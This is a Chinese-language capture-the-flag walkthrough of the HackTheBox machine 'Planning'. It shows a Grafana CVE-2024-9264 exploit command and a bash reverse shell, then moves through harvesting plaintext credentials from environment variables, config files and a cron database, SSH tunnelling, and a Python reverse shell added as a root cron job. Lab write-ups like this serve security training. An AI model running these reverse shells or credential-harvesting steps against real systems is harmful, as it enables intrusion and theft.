- 难度 : Easy
- 靶场 : HackTheBox [Planning]
- 类型 : 综合渗透
GetShell
扫描端口,发现开放了 22 和 80 ,访问 80 端口,发现很多交互都不能用,唯一一个可以查询的地方也查不到数据,注入也扫不出来。爆破目录也找不到管理后台。主动扫描 + 被动扫描也没有测出漏洞。
改变思路,枚举一下子域名,发现了 grafana.planning.htb ,是一个监控的 Web 页面,这个页面用题目里给的账号信息 admin / 0D5oT70Fq13EvB5r
发现可以登录后台了。
在登录页面发现 Grafana 版本号 Grafana v11.0.0 (83b9528bce)
。Google 是否存在漏洞,GitHub 上发现了一个 CVE-2024-9264 可以进行 RCE。尝试执行 PoC:
python CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c 'bash -c "bash -i >& /dev/tcp/10.10.14.53/9443 0>&1"' http://grafana.planning.htb/
发现成功弹 shell ,这里弹出来的是 root 用户,但是在目录下并没有发现 flag ,估计是在 docker 里面了,需要 docker 逃逸。
root@7ce659d667d7:~# hostname -I
172.17.0.2
root@7ce659d667d7:~# env
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
AWS_AUTH_EXTERNAL_ID=
SHLVL=2
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env
这里查看环境变量,发现有明文密码,尝试用 enzo
和 RioTecRANDEntANT!
登录 SSH ,发现登录成功,成功 GetShell ,拿到 flag 。
提权
netstat
查看服务器开放的端口。
netstat -tulnp
发现开放了 3306 端口,有 MySQL 服务,查看 Web 的配置文件,找到了 MySQL 的账号密码,用这个密码可以成功登录 MySQL 。
enzo@planning:/var/www/web$ head /var/www/web/index.php
<?php
$servername = "localhost";
$username = "root";
$password = "EXTRapHY";
$dbname = "edukate";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
发现登录成功,但不能写 shell ,这里卡了好久,还以为需要什么特别的姿势绕过,最后发现突破点不在这里。。。
实际上服务器还开放了一个 8000 端口,开 SSH 代理访问该端口。
ssh -L 8000:127.0.0.1:8000 enzo@10.10.11.68 -N
发现需要用户名和密码才能登录,尝试使用刚才获取到的 MySQL 登录,发现登录失败。
搜集信息,在 /opt
下发现了一个 crontab
目录。里面有一个 crontab.db
,下载下来,发现用 SQLite 无法打开这个文件,但是可以直接查看,是个文本文件。
enzo@planning:/opt/crontabs$ cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
在里面发现了一个密码 P4ssw0rdS0pRi0T3c
,使用用户名 root
登录刚才的网站,发现登录成功。
应该可以 RCE ,添加一个 crontab
项目。
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.53',9443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
手动执行,就可以直接弹 shell 啦,成功拿到 root flag 。
评论